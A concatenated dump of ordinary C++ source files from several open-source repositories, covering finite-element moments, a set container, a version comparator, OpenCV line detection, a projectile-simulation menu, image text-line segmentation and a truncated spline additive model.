4>> D; // Evaluate moment space at quadrature points // Iterate over cell entities std::array<T, 3> normal; for (std::size_t e = 0; e < num_entities; ++e) { // Map quadrature points onto facet (cell entity e) const auto [ebuffer, eshape] = cell::sub_entity_geometry<T>(celltype, tdim - 1, e); mdspan_t<const T, 2> facet_x(ebuffer.data(), eshape); auto& _pb = pb.emplace_back(pshape[0] * pshape[1]); mdspan_t<T, 2> _p(_pb.data(), pshape); if (tdim == 2) { // No need to normalise the normal, as the size of this is equal // to the integral jacobian std::array<T, 2> tangent = {facet_x(1, 0) - facet_x(0, 0), facet_x(1, 1) - facet_x(0, 1)}; for (std::size_t p = 0; p < _p.extent(0); ++p) for (std::size_t i = 0; i < _p.extent(1); ++i) _p(p, i) = facet_x(0, i) + pts(p, 0) * tangent[i]; normal = {-tangent[1], tangent[0], 0.0}; } else if (tdim == 3) { // No need to normalise the normal, as the size of this is equal // to the integral Jacobian std::array<T, 3> t0 = {facet_x(1, 0) - facet_x(0, 0), facet_x(1, 1) - facet_x(0, 1), facet_x(1, 2) - facet_x(0, 2)}; std::array<T, 3> t1 = {facet_x(2, 0) - facet_x(0, 0), facet_x(2, 1) - facet_x(0, 1), facet_x(2, 2) - facet_x(0, 2)}; for (std::size_t p = 0; p < _p.extent(0); ++p) for (std::size_t i = 0; i < _p.extent(1); ++i) _p(p, i) = facet_x(0, i) + pts(p, 0) * t0[i] + pts(p, 1) * t1[i]; normal = basix::math::cross(t0, t1); } else throw std::runtime_error("Normal on this cell cannot be computed."); // Compute facet normal integral moments mdspan_t<T, 4>& _D = D.emplace_back(Db[e].data(), Dshape); for (std::size_t i = 0; i < phi.extent(2); ++i) for (std::size_t j = 0; j < value_size; ++j) for (std::size_t k = 0; k < _D.extent(2); ++k) _D(i, j, k, 0) = phi(0, k, i, 0) * wts[k] * normal[j]; } return {pb, pshape, Db, Dshape}; } //---------------------------------------------------------------------------- /// @cond template std::tuple<std::vector<std::vector<float>>, std::array<std::size_t, 2>, std::vector<std::vector<float>>, std::array<std::size_t, 4>> moments::make_integral_moments(const FiniteElement<float>&, cell::type, polyset::type, std::size_t, int); template std::tuple< std::vector<std::vector<double>>, std::array<std::size_t, 2>, std::vector<std::vector<double>>, std::array<std::size_t, 4>> moments::make_integral_moments(const FiniteElement<double>&, cell::type, polyset::type, std::size_t, int); template std::tuple<std::vector<std::vector<float>>, std::array<std::size_t, 2>, std::vector<std::vector<float>>, std::array<std::size_t, 4>> moments::make_dot_integral_moments(const FiniteElement<float>&, cell::type, polyset::type, std::size_t, int); template std::tuple< std::vector<std::vector<double>>, std::array<std::size_t, 2>, std::vector<std::vector<double>>, std::array<std::size_t, 4>> moments::make_dot_integral_moments(const FiniteElement<double>&, cell::type, polyset::type, std::size_t, int); template std::tuple<std::vector<std::vector<float>>, std::array<std::size_t, 2>, std::vector<std::vector<float>>, std::array<std::size_t, 4>> moments::make_tangent_integral_moments(const FiniteElement<float>&, cell::type, polyset::type, std::size_t, int); template std::tuple< std::vector<std::vector<double>>, std::array<std::size_t, 2>, std::vector<std::vector<double>>, std::array<std::size_t, 4>> moments::make_tangent_integral_moments(const FiniteElement<double>&, cell::type, polyset::type, std::size_t, int); template std::tuple<std::vector<std::vector<float>>, std::array<std::size_t, 2>, std::vector<std::vector<float>>, std::array<std::size_t, 4>> moments::make_normal_integral_moments(const FiniteElement<float>&, cell::type, polyset::type, std::size_t, int); template std::tuple< std::vector<std::vector<double>>, std::array<std::size_t, 2>, std::vector<std::vector<double>>, std::array<std::size_t, 4>> moments::make_normal_integral_moments(const FiniteElement<double>&, cell::type, polyset::type, std::size_t, int); /// @endcond //----------------------------------------------------------------------------
true
e804218cd3b2ab4081177835550e962aaaa9eab2
C++
nori0428/libj
/src/set.cpp
UTF-8
1,585
2.875
3
[ "BSD-2-Clause" ]
permissive
// Copyright (c) 2012 Plenluno All rights reserved. #include <set> #include <utility> #include "libj/set.h" #include "libj/string.h" namespace libj { class SetImpl : public Set { private: class ValueComp { public: Boolean operator() (const Value& lv, const Value& rv) const { return lv.compareTo(rv) < 0; } }; typedef std::set<Value, ValueComp> ValueSet; public: static Ptr create() { return Ptr(new SetImpl()); } Size size() const { return set_.size(); } Boolean add(const Value& v) { std::pair<ValueSet::iterator, Boolean> p = set_.insert(v); return p.second; } Boolean remove(const Value& v) { return set_.erase(v) > 0; } void clear() { set_.clear(); } private: class IteratorImpl : public Iterator { friend class SetImpl; IteratorImpl(const ValueSet* s) : set_(s) , itr_(s->begin()) {} public: Boolean hasNext() const { return itr_ != set_->end(); } Value next() { Value v = *itr_; ++itr_; return v; } String::CPtr toString() const { return String::create(); } private: const ValueSet* set_; ValueSet::const_iterator itr_; }; public: Iterator::Ptr iterator() const { return Iterator::Ptr(new IteratorImpl(&set_)); } private: ValueSet set_; }; Set::Ptr Set::create() { return SetImpl::create(); } } // namespace libj
true
a2b745b56c86aa37d5579a79d3c40fd7eb8cf532
C++
zhzwill/leetcodegit
/Compare_Version_Numbers.h
UTF-8
1,376
3.390625
3
[]
no_license
#include <string> using namespace std; class Solution { public: int compareVersion(string version1, string version2) { int s1_begin,s1_end; int s2_begin,s2_end; s1_begin = 0; s2_begin = 0; while (s1_begin < version1.size() && s2_begin < version2.size()) { s1_end = s1_begin+1; s2_end = s2_begin+1; while(s1_end != version1.size()) { if (version1[s1_end] == '.') { break; } s1_end++; } while(s2_end != version2.size()) { if (version2[s2_end] == '.') { break; } s2_end++; } if (atoi(version1.substr(s1_begin,s1_end-s1_begin).c_str())>atoi(version2.substr(s2_begin,s2_end-s2_begin).c_str())) { return 1; } else if (atoi(version1.substr(s1_begin,s1_end-s1_begin).c_str())<atoi(version2.substr(s2_begin,s2_end-s2_begin).c_str())) { return -1; } else { s1_begin = s1_end+1; s2_begin = s2_end+1; } } while (s1_begin < version1.size()) { if (version1[s1_begin] >='1' && version1[s1_begin]<='9') return 1; s1_begin++; } while (s2_begin < version2.size()) { if (version2[s2_begin]>='1' && version2[s2_begin]<='9') return -1; s2_begin++; } return 0; } };
true
782440b4a8081dea27d03260523e6393fff20644
C++
opencv/opencv
/samples/cpp/lsd_lines.cpp
UTF-8
2,148
2.734375
3
[ "Apache-2.0" ]
permissive
#include "opencv2/imgproc.hpp" #include "opencv2/imgcodecs.hpp" #include "opencv2/highgui.hpp" #include <iostream> using namespace std; using namespace cv; int main(int argc, char** argv) { cv::CommandLineParser parser(argc, argv, "{input i|building.jpg|input image}" "{refine r|false|if true use LSD_REFINE_STD method, if false use LSD_REFINE_NONE method}" "{canny c|false|use Canny edge detector}" "{overlay o|false|show result on input image}" "{help h|false|show help message}"); if (parser.get<bool>("help")) { parser.printMessage(); return 0; } parser.printMessage(); String filename = samples::findFile(parser.get<String>("input")); bool useRefine = parser.get<bool>("refine"); bool useCanny = parser.get<bool>("canny"); bool overlay = parser.get<bool>("overlay"); Mat image = imread(filename, IMREAD_GRAYSCALE); if( image.empty() ) { cout << "Unable to load " << filename; return 1; } imshow("Source Image", image); if (useCanny) { Canny(image, image, 50, 200, 3); // Apply Canny edge detector } // Create and LSD detector with standard or no refinement. Ptr<LineSegmentDetector> ls = useRefine ? createLineSegmentDetector(LSD_REFINE_STD) : createLineSegmentDetector(LSD_REFINE_NONE); double start = double(getTickCount()); vector<Vec4f> lines_std; // Detect the lines ls->detect(image, lines_std); double duration_ms = (double(getTickCount()) - start) * 1000 / getTickFrequency(); std::cout << "It took " << duration_ms << " ms." << std::endl; // Show found lines if (!overlay || useCanny) { image = Scalar(0, 0, 0); } ls->drawSegments(image, lines_std); String window_name = useRefine ? "Result - standard refinement" : "Result - no refinement"; window_name += useCanny ? " - Canny edge detector used" : ""; imshow(window_name, image); waitKey(); return 0; }
true
39dd6f923c185bea0a3a53e17f975e660300915c
C++
NikeshMaharjan1217/Nikesh-Maharjan
/character.cpp
UTF-8
155
2.640625
3
[]
no_license
#include<stdio.h> #include<conio.h> main() { char a; printf("Entre a character:"); scanf("%c",&a); printf("Value of a is %c",a); getch(); }
true
2bc7d2d28e6187b5f96020f2cf8967c1fb15a02b
C++
Mauricioduque/PARCIAL2
/Parcial2_Mauricio_Duque/main.cpp
UTF-8
2,723
2.953125
3
[]
no_license
#include "caniondefensivo.h" #include "canionofensivo.h" int main() { canionOfensivo disOfensivo; canionDefensivo disDefensivo; float Vini,VinO,angleO; int a; float d,Yo,Yd; cout<<"-------SISTEMA DE SIMULACION DE ATAQUES--------"<<endl<<endl; cout<<"Ingrese la condiciones iniciales"<<endl; cout<<"Altura del canion Ofensivo (m): "; cin>>Yo; disOfensivo.setYo(Yo); cout<<"Distancia de separacion de los caniones (m): "; cin>>d; disOfensivo.setD(d); disDefensivo.setXd(d); disOfensivo.setD0(0.05*d); disDefensivo.setDd(0.025*d); cout<<"Altura del canion Defensivo (m): "; cin>>Yd; disDefensivo.setYd(Yd); while(true){ cout<<"1.Para generar disparos ofensivos"<<endl; cout<<"2.Para generar disparos defensivos"<<endl; cout<<"3.Para generar disparos defensivos, dado un disparo ofensivo"<<endl; cout<<"4.Para generar disparos defensivos,dado un disparo ofensivo sin afectar la integridad de los caniones"<<endl; cout<<"5.Para realizar un contraataque ofensivo"<<endl; cout<<"Ingrese la opcion que desea realizar:"; cin>>a; cout<<endl; switch (a) { case 1: cout<<"Ingrese Velocidad incial de prueba (m/s): "; cin>>Vini; cout<<"Los diferentes parametros, para que el disparo sea efectivo"<<endl; disOfensivo.disparosOfensivos(d,Yd,Vini); break; case 2: cout<<"Ingrese Velocidad incial de prueba (m/s): "; cin>>Vini; cout<<"Los diferentes parametros, para que el disparo sea efectivo"<<endl; disDefensivo.disparosDefensivos(0,Yo,Vini); break; case 3: cout<<"Ingrese los parametros del espia"<<endl; cout<<"Velocidad incial de la bala ofensiva(m/s):"; cin>>VinO; cout<<"Angulo de la bala ofensiva(grados): "; cin>>angleO; disDefensivo.disparoDefensa(Yo,angleO,VinO); break; case 4: cout<<"Ingrese los parametros del espia"<<endl; cout<<"Velocidad incial de la bala ofensiva(m/s):"; cin>>VinO; cout<<"Angulo de la bala ofensiva(grados): "; cin>>angleO; disDefensivo.disparoSinAfectacion(Yo,angleO,VinO); break; case 5: cout<<"Ingrese los parametros del espia"<<endl; cout<<"Velocidad incial de la bala defensiva(m/s):"; cin>>VinO; cout<<"Angulo de la bala defensiva(grados): "; cin>>angleO; disOfensivo.contrataque(d,Yd,angleO,VinO); break; } } return 0; }
true
72c0ee7a15d44cd3015eda7150b810f73b72851e
C++
kuangtu/cplusplus
/chap5/exec5_19.cpp
UTF-8
500
3.046875
3
[]
no_license
#include <iostream> #include <string> #include <vector> using std::cin; using std::cout; using std::endl; using std::vector; using std::string; int main(int argc, char *argv[]) { string s1; string s2; string resp; do { cout << "please input str1 " << endl; cin >> s1; cout << "Please input str2 " << endl; cin >> s2; cout << (s1.size() < s2.size() ? s1 : s2) << endl; cout << "More?" << endl; cin >> resp; } while(!resp.empty() && resp[0] != 'n'); return 0; }
true
8ac95302e376e0310d7bd83876d706db6c465d5e
C++
sraaphorst/spelunker
/apps/Utils.h
UTF-8
745
3.203125
3
[ "Apache-2.0" ]
permissive
/** * Utils.h * * By Sebastian Raaphorst, 2018. */ #pragma once #include <cstdlib> #include <functional> class Utils final { private: Utils() = default; public: template<typename P> static P parse(std::function<P(const char*, char**)> parser, const char *str) { char *temp = nullptr; P val = parser(str, &temp); if (temp == nullptr || *temp != '\0') return -1; return val; } static long parseLong(const char *str) { return parse<long>([](const char *s, char **temp) { return std::strtol(s, temp, 0); }, str); } static double parseDouble(const char *str) { return parse<double>([](const char *s, char **temp) { return std::strtold(s, temp); }, str); } };
true
bb48b206da7d05abfe16810388d4d1c06d98913b
C++
cad0921/530-base_class
/5301007/H_41A.cpp
UTF-8
484
2.53125
3
[]
no_license
#include <bits/stdc++.h> #define co ios::sync_with_stdio(0); cin.tie(0); using namespace std; int main() { co; string a, b; cin >> a >> b; if (a.length() != b.length()) cout << "NO"; else { bool can = true; for (int i = 0; i < a.length(); i++) { if(a[i] != b[b.length()-i-1]) { can = false; } } if(can) cout<<"YES"; else cout<<"NO"; } return 0; }
true
e8735105f653f0dd8d2e9b9e0d326f1d41376a2c
C++
jwijffels/Image-Processing
/segmentation.cpp
UTF-8
16,010
2.703125
3
[]
no_license
#include "mainwindow.h" #include "ui_mainwindow.h" //---------------------------------------------------------------------------------- //------------------- FUNCTIONS FOR THE SEGMENTATION TAB --------------------------- //---------------------------------------------------------------------------------- //Finding Words void MainWindow::Finding_Words(){ //finding the words of a text if( loadImage1 == 0 ){ //You have to read an image first int result3 = QMessageBox::information(this, "Error", "You must Load an Image First.", QMessageBox::Ok); if( result3 == QMessageBox::Ok ){ return; } } if( flagBin == 0 ){ //It means that the image has not been binarized int result1 = QMessageBox::information(this,"Error", "First of all Binarization.", QMessageBox::Ok); if( result1 == QMessageBox::Ok ){ return; } } if( runParametric != 1 ){ //It means that we do not want parametric run if( flagFindLines == 0){ //It means that the user did not give Ty & Vy int result2 = QMessageBox::information(this,"Error", "You must provide Ty & Vy.", QMessageBox::Ok); if( result2 == QMessageBox::Ok ){ return; } } if( flagFindWords == 0 ){ //It means that the user did not give the Tx & Vx int result3 = QMessageBox::information(this,"Error", "You must provide Tx & Vx.", QMessageBox::Ok); if( result3 == QMessageBox::Ok ){ return; } } } int *y_axis_hist = new int[Iy]; int x, y, Ymax=0; long sum = 0, count = 0; //Y-AXIS HISTOGRAM for(y=0; y<Iy; ++y){ //For every line of the Image y_axis_hist[y] = 0; //Initialize every cell for(x=0; x<Ix; ++x){ unsigned char u = (unsigned char)qGray(BinaryImage->pixel(x,y)); if( u == 0){ ++y_axis_hist[y]; } //Count the black pixels, at every line } if ( y_axis_hist[y] > Ymax ) Ymax = y_axis_hist[y]; sum += y_axis_hist[y]; //It contains the total number of black pixels on an Image if(y_axis_hist[y]){ ++count; } //How many rows have black pixels } //NORMALIZATION OF THE HISTOGRAM for(y=0; y<Iy; ++y) y_axis_hist[y] = y_axis_hist[y] >= Ty; //Hist[i] = { 0 αν Hist[i] < Ty, 1 αν Hist[i] ≥ Ty }. //FINDING THE VALLEYS QVector<int> y_cuts; for(int y=0; y<Iy;){ for(; y<Iy && y_axis_hist[y] != 0; ++y); //Until to find the first cell with zero(O) int Vstart = y; //Start of the valley for(; y<Iy && y_axis_hist[y] == 0; ++y); //Keep going till to find cell with one(1) int Vend = y; //End of the valley int mid = Vstart + (Vend-Vstart)/2; //Finding the middle of the valley if( (Vend-Vstart) >= Vy) //The width of the valley should be Vy, at least y_cuts.push_back(mid); //Keeping safe the middle of the valley } printf("Number of Middles = %d\n", y_cuts.size()); delete[] y_axis_hist; //FINDING THE WORDS OF THE DOCUMENT if( y_cuts.size() >= 2 ){ //At least 2 middles, so 2 valleys int tag = 1; for(int i=0; i<y_cuts.size()-1; ++i) words(y_cuts[i], y_cuts[i+1], tag); //Finding the words, it also produces the image } if(runParametric == 1){ if( !bySum ) printf("Average Character Height is: %d.\n", another_averageHeight); printf("Ty = %d is two times the Average Height.\n", Ty); printf("Vy = %d is divide four times the Average Height.\n", Vy); printf("Tx = %d is divide two times the Average Height.\n", Tx); printf("Vx = %d is equal the Average Height.\n", Vx); } else printf("Ty = %d, Vy = %d, Tx = %d, Vx = %d \n", Ty, Vy, Tx, Vx); } //------------------------------------------------------------------------------------------------------- //------------------------------------------------------------------------------------------------------- //WORDS:FOR THE FINDING WORDS void MainWindow::words(int ys,int ye,int& tag){ //Finding the words of a document int *x_axis_hist = new int[Ix]; int x, y, Xmax=0; long sum = 0,count = 0; //A. X-AXIS HISTOGRAM for(x=0; x<Ix; ++x){ x_axis_hist[x] = 0; for(y=ys; y<ye; ++y){ //Inside the valley of 0 (black) pixels unsigned char u = (unsigned char)qGray(BinaryImage->pixel(x,y)); if( u == 0){ ++x_axis_hist[x]; } //Count the black pixels, at every column on the range[ys, ye] } if ( x_axis_hist[x] > Xmax ) Xmax = x_axis_hist[x]; sum += x_axis_hist[x]; //It contains the total number of black pixels on an image if( x_axis_hist[x] ){ ++count; } //How many columns have black pixels } //B. NORMALIZATION OF THE HISTOGRAM for(x=0; x<Ix; ++x) x_axis_hist[x] = x_axis_hist[x] >= Tx; //Hist[i] = { 0 αν Hist[i] < Tx, 1 αν Hist[i] ≥ Tx }. //C & D. FINDING THE VALLEYS AND STORING THE MIDDLES OF THEM QVector<int> x_cuts; for(int x=0; x<Ix;){ for(; x<Ix && x_axis_hist[x] != 0; ++x); //Until to find the first cell with zero(O) int Vstart = x; //Start of the valley for(; x<Ix && x_axis_hist[x] == 0; ++x); //Keep going till to find cell with one(1) int Vend = x; //End of the valley int mid = Vstart + (Vend - Vstart)/2; //Finding the middle of the valley if( (Vend - Vstart) >= Vx ) //The width of the valley should be Vx, at least x_cuts.push_back(mid); //Keeping safe the middle of the valley } printf("Number of Middles = %d\n ", x_cuts.size()); //e: ASSIGN TAGS AND FINDING THE WORDS OF THE DOCUMENT if( x_cuts.size() >= 2){ //At least 2 middles, so 2 valleys unsigned char **bitmapOfTag = NULL; bitmapOfTag = new (std::nothrow) unsigned char* [Iy]; for (int y=0; y<Iy; y++){ bitmapOfTag[y] = new(std::nothrow) unsigned char[Ix]; for(int x=0; x<Ix; x++) bitmapOfTag[y][x] = 0; //All the bitmap has zero value } //CREATION OF THE IMAGE WITH WORDS ONLY QImage *Himage = new QImage(Ix, Iy, QImage::Format_RGB16); QRgb value; value = qRgb(255,255,255); //white background, qRgb(0,0, 0); for(int y=0; y<Iy; ++y) for(int x=0; x<Ix; ++x) Himage->setPixel(x,y,value); //All the image will be white //Assign tags to each region of black pixels for(int i=0; i<x_cuts.size()-1; ++i){ for(int x=x_cuts[i]; x<x_cuts[i+1]; ++x) //Crossing into the valley one step at a time for(int y=ys; y<ye; ++y){ unsigned char u = (unsigned char)qGray(BinaryImage->pixel(x,y)); if( u == 0) { QRgb value; //We use three colours in order to paint the image, red-green-orange if( tag%3 == 0 ){value = qRgb(255,0,0); } //red else if( tag%3 == 1 ){ value = qRgb(0,255,0); } //green else{ value = qRgb(0,0,255); } //orange Himage->setPixel(x,y,value); bitmapOfTag[y][x] = tag; } } ++tag; //Next tag for the next area of useful info } if( dbFlag == 1 ){ //We'l create .dat files Create_dot_Dat_Files_v_2_0(bitmapOfTag, "X_Y_cuts_DB/words/"); } else{ //We'll create .tif files Himage->save("X_Y_cuts/findingWordsImage.tif"); } delete[] x_axis_hist; if( bitmapOfTag != NULL ){ for(int y=0;y<Iy;y++){ delete[] bitmapOfTag[y]; } delete bitmapOfTag; bitmapOfTag = NULL; } scene2 = new (std::nothrow) QGraphicsScene; scene2->addPixmap(QPixmap::fromImage(*Himage)); ui->graphicsView_2->setScene(scene2); loadImage2 = 1; //Image has been put at the graphicsView_2 } } //----------------------------------------------------------------------------------------------- //----------------------------------------------------------------------------------------------- //Finding Lines void MainWindow::Finding_Lines(){ //Finding the lines of a text if( loadImage1 == 0 ){ //You have to read an image first int result3 = QMessageBox::information(this, "Error", "You must Load an Image First.", QMessageBox::Ok); if( result3 == QMessageBox::Ok ){ return; } } if( flagBin == 0 ){ //It means that the image has not been binarized int result1 = QMessageBox::information(this,"Error", "First of all Binarization.", QMessageBox::Ok); if( result1 == QMessageBox::Ok ){ return; } } if( runParametric != 1 ){ //It means that we do not want parametric run if( flagFindLines == 0 ){ //It means that the user does not give the Ty & Vy int result2 = QMessageBox::information(this,"Error", "You must provide Ty & Vy.", QMessageBox::Ok); if( result2 == QMessageBox::Ok ){ return; } } } int *y_axis_hist = new int[Iy]; int x, y, Ymax=0; long sum = 0, count = 0; //Y-AXIS HISTOGRAM for(y=0; y<Iy; ++y){ //For every line of the Image y_axis_hist[y] = 0; //Initialize every cell for(x=0; x<Ix; ++x){ unsigned char u = (unsigned char)qGray(BinaryImage->pixel(x,y)); if( u == 0){ ++y_axis_hist[y]; } //Count the black pixels, at every line } if ( y_axis_hist[y] > Ymax ) Ymax = y_axis_hist[y]; sum += y_axis_hist[y]; //It contains the total number of black pixels on an Image if(y_axis_hist[y]){ ++count; } //How many rows have black pixels } //NORMALIZATION OF THE HISTOGRAM for(y=0; y<Iy; ++y) y_axis_hist[y] = y_axis_hist[y] >= Ty; //Hist[i] = { 0 αν Hist[i] < Ty, 1 αν Hist[i] ≥ Ty }. //FINDING THE VALLEYS QVector<int> y_cuts; for(int y=0; y<Iy;){ for(; y<Iy && y_axis_hist[y] != 0; ++y); //Until to find the first cell with zero(O) int Vstart = y; //Start of the valley for(; y<Iy && y_axis_hist[y] == 0; ++y); //Keep going till to find cell with one(1) int Vend = y; //End of the valley int mid = Vstart + (Vend-Vstart)/2; //Finding the middle of the valley if( (Vend-Vstart) >= Vy) //The width of the valley should be Vy, at least y_cuts.push_back(mid); //Keeping safe the middle of the valley } printf("Number of Middles = %d\n ", y_cuts.size()); delete[] y_axis_hist; //FINDING THE LINES OF THE DOCUMENT if( y_cuts.size() >= 2){ //At least 2 middles, so 2 valleys unsigned char **bitmapOfTag = NULL; bitmapOfTag = new (std::nothrow) unsigned char* [Iy]; for (int y=0; y<Iy; y++){ bitmapOfTag[y] = new(std::nothrow) unsigned char[Ix]; for(int x=0; x<Ix; x++) bitmapOfTag[y][x] = 0; //All the bitmap has zero value } //CREATION OF THE IMAGE WITH LINES ONLY QImage *Himage = new QImage(Ix, Iy, QImage::Format_RGB16); QRgb value; value = qRgb(255,255,255); //White background, qRgb(0,0, 0); for(int y=0; y<Iy; ++y) for(int x=0; x<Ix; ++x) Himage->setPixel(x,y,value); //All the image will be white //Assign tags to each region of black pixels for(int i=0,tag=1; i<y_cuts.size()-1; ++i,++tag) for(int y=y_cuts[i]; y<y_cuts[i+1]; ++y) //Crossing into the valley one step at a time for(int x=0; x<Ix; ++x){ unsigned char u = (unsigned char)qGray(BinaryImage->pixel(x,y)); if( u == 0) { QRgb value; //We use four colours in order to paint the image, red-green-blue-orange if( tag%4 == 0 ){value = qRgb(255,0,0); } //red else if( tag%4 == 1 ){ value = qRgb(0,255,0); } //green else if( tag%4 == 2 ){ value = qRgb(0,0,255); } //blue else{ value = qRgb(255,102,0); } //orange Himage->setPixel(x,y,value); bitmapOfTag[y][x] = tag; } } if( dbFlag == 1 ){ //We'l create .dat files Create_dot_Dat_Files_v_2_0( bitmapOfTag, "X_Y_cuts_DB/lines/"); } else{ //We'l create .tif files Himage->save("X_Y_cuts/findingLinesImage.tif"); //Lines are mostly appeared on the image } if( bitmapOfTag != NULL ){ for(int y=0;y<Iy;y++){ delete[] bitmapOfTag[y]; } delete bitmapOfTag; bitmapOfTag = NULL; } scene2 = new (std::nothrow) QGraphicsScene; scene2->addPixmap(QPixmap::fromImage(*Himage)); ui->graphicsView_2->setScene(scene2); loadImage2 = 1; //Image has been put at the graphicsView_2 if(runParametric == 1){ if( !bySum ) printf("Average Character Height is: %d.\n", another_averageHeight); printf("Ty = %d is two times the Average Height.\n", Ty); printf("Vy = %d is divide four times the Average Height.\n", Vy); } else{ printf("Ty = %d, Vy = %d\n", Ty, Vy); } } } //------------------------------------------------------------------------------------------------------ //------------------------------- END OF THE CODE ------------------------------------------------------ //------------------------------------------------------------------------------------------------------
true
b69fb5a61162c91ac090abb65b9ef9da955e1a82
C++
Red-mar/CrossChess
/src/tile.cpp
UTF-8
1,750
3.0625
3
[]
no_license
#include "tile.h" Tile::Tile(Window *window, Hex hexTile, Layout layout) : window(window), tileIndex(tileIndex), hexagon(nullptr), hexTile(hexTile), piece(nullptr), isSelected(false) { std::vector<Point> points = polygon_corners(layout, hexTile); hexagon = new Hexagon(points[0], points[1], points[2], points[3], points[4], points[5]); } Tile::~Tile() { if (hexagon) { delete hexagon; } if (piece) { delete piece; } } Hexagon * Tile::getHexagon() { return hexagon; } Hex Tile::getHexTile() { return hexTile; } Piece * Tile::getPiece() { return piece; } void Tile::setPiece(Piece *npiece) { piece = npiece; } void Tile::removePiece() { piece = nullptr; // NOTE: be careful don't want to lose the pointer } void Tile::render(float x, float y) { if (isSelected) { window->drawFilledHexagon(hexagon, color); } else { window->drawHexagon(hexagon, color); } if (piece) { piece->render((float)hexagon->points[4].x - 3, (float)hexagon->points[4].y + 5); // TODO easiest for now; need to line it up properly } } void Tile::setColor(SDL_Color ncolor) { color = ncolor; } void Tile::setSelected(bool nselect) { isSelected = nselect; }
true
7776bbec6bae6a5b074933a7c23159ccd37ccccd
C++
kurocha/commander
/source/Commander/Commands.hpp
UTF-8
851
2.859375
3
[ "MIT" ]
permissive
// // Commands.hpp // This file is part of the "Commander" project and released under the MIT License. // // Created by Samuel Williams on 19/8/2017. // Copyright, 2017, by Samuel Williams. All rights reserved. // #pragma once #include "Map.hpp" namespace Commander { class Command; class Commands : public Map<Command> { Command * _command = nullptr; void print_command_usage(std::ostream & output, std::size_t level) const noexcept; public: using Map::Map; virtual ~Commands(); virtual IteratorT parse(IteratorT begin, IteratorT end); void set_command(Command * command) {_command = command;} virtual void print_usage(std::ostream & output) const noexcept; virtual void print_full_usage(std::ostream & output, std::size_t level = 0) const noexcept; virtual void invoke(); auto value() const noexcept {return _command;} }; }
true
dc35db4caf97d1da5209e214ef450fc57d8c44e2
C++
cvl-umass/libspline
/additiveModel.cpp
UTF-8
13,661
2.90625
3
[ "BSD-3-Clause" ]
permissive
/* Author : Subhransu Maji * * Implements encoding methods * * Version 1.0 */ #include <stdio.h> #include <stdlib.h> #include <math.h> #include "additiveModel.h" #define INF 1e10 typedef signed char schar; template <class T> static inline void swap(T& x, T& y) { T t=x; x=y; y=t; } #ifndef min template <class T> static inline T min(T x,T y) { return (x<y)?x:y; } #endif #ifndef max template <class T> static inline T max(T x,T y) { return (x>y)?x:y; } #endif #ifndef PI #define PI 3.14159265358979 #endif //return the b-spline basis index for a given dimension void additiveModel::getBasisIndex(double x, int dimidx, int &ei, double &ai){ double fi = a[dimidx]*x + b[dimidx]; ei = (int)fi; ai = fi-ei; if(ei < degree){ ei=degree; ai=0; }else if(ei >= numbasis){ // numbasis = numbins + degree ei = numbasis-1; ai = 1; } } //B-Spline embedding void additiveModel::bSplineEncoder(double x, int dimidx, int &ei, double *wts){ double t; getBasisIndex(x,dimidx,ei,t); double t2 = t*t, t3 = t2*t; switch(degree){ case 0: wts[0] = 1; break; case 1: wts[0] = 1-t; wts[1] = t; break; case 2: wts[0] = 0.5*t2 - t + 0.5; wts[1] = -t2 + t + 0.5; wts[2] = 0.5*t2 ; break; case 3: wts[0] = 1.0/6*(1-t)*(1-t)*(1-t); wts[1] = 1.0/6*(4 - 6*t2 + 3*t3); wts[2] = 1.0/6*(1 + 3*t + 3*t2 - 3*t3); wts[3] = 1.0/6*(t3); break; default: ; //should not happen } } // Trigonometic embedding void additiveModel::trigEncoder(double x, int dimidx, double *xd){ double cx = (xmax[dimidx] + xmin[dimidx])/2; double dx = (xmax[dimidx] - xmin[dimidx])/2; double t = PI*(x - cx)/dx; double sint = sin(t); double cost = cos(t); xd[0] = sint; xd[1] = cost; for(int i = 1; i < degree ; i++){ xd[2*i] = xd[2*i-2]*cost + xd[2*i-1]*sint; xd[2*i+1] = xd[2*i-1]*cost - xd[2*i-2]*sint; } for(int i = 0; i < numbasis; i++){ xd[i] *= st[dimidx]*dimwts[i]; } } // Hermite embedding void additiveModel::hermiteEncoder(double x, int dimidx, double *xd){ double cx = (xmax[dimidx] + xmin[dimidx])/2; double dx = (xmax[dimidx] - xmin[dimidx])/2; double t = (x - cx)/dx; xd[0] = t; if(numbasis > 1) xd[1] = (t*t-1); for(int i = 2; i < numbasis ; i++){ xd[i] = t*xd[i-1] - i*xd[i-2]; } for(int i = 0; i < numbasis; i++){ xd[i] *= st[dimidx]*dimwts[i]; } } //empty additiveModel constructor additiveModel::additiveModel(){ encoding = SPLINE; degree = 1; reg = 1; numbins = 0; numbasis = 0; dim = 0; xmax = NULL; xmin = NULL; xmean = NULL; xvar = NULL; st = NULL; a = NULL; b = NULL; w = NULL; bias = 0; } //initialize a additiveModel given the data additiveModel::additiveModel(const parameter *param, double **x, int fdim, int nvec){ //allocate all the memory for the model int i,j; encoding = param->encoding; degree = param->degree; reg = param->reg; numbins = param->numbins; if(encoding == SPLINE){ numbasis = numbins + degree; }else if(encoding == TRIGONOMETRIC){ numbasis = degree*2; }else if(encoding == HERMITE){ numbasis = degree; } dim = fdim; wdim = dim*numbasis; xmax = new double[dim]; xmin = new double[dim]; xmean = new double[dim]; xvar = new double[dim]; st = new double[dim]; a = new double[dim]; b = new double[dim]; w = new double[wdim]; dimwts = NULL; if(encoding == TRIGONOMETRIC){ dimwts = new double[numbasis]; for(i=0;i < degree;i++){ dimwts[2*i] = 1.0/pow(i+1,reg); dimwts[2*i+1] = dimwts[2*i]; } }else if(encoding == HERMITE){ dimwts = new double[numbasis]; double normsq = 1.0; dimwts[0] = 1.0; if(reg == 1){ for(i=1; i < numbasis;i++){ normsq = normsq*(i+1)*(i+1)/i; dimwts[i] = 1./sqrt(normsq); } }if(reg == 2){ if(numbasis > 1) dimwts[1] = 1.0/2; normsq = 1.0/2; for(i=2; i < numbasis; i++){ normsq = normsq*(i+1)*(i+1)/(i-1); dimwts[i] = 1./sqrt(normsq); } } } //clear weights for(i=0;i<wdim;i++) w[i] = 0; //uniformly sample points in the [min,max] range in each dimension double tmpMAX, tmpMIN, step_size, xsum, xsumsq; for(i=0;i<dim;i++){ tmpMAX = -INF; tmpMIN = INF; xsum = 0; xsumsq = 0; for(j=0;j<nvec;j++){ xsum += x[j][i]; xsumsq += x[j][i]*x[j][i]; if(x[j][i] < tmpMIN) tmpMIN = x[j][i]; if(x[j][i] > tmpMAX) tmpMAX = x[j][i]; } //update min and max xmin[i] = tmpMIN; xmax[i] = tmpMAX; xmean[i] = xsum/nvec; //update linear interpolation paramters 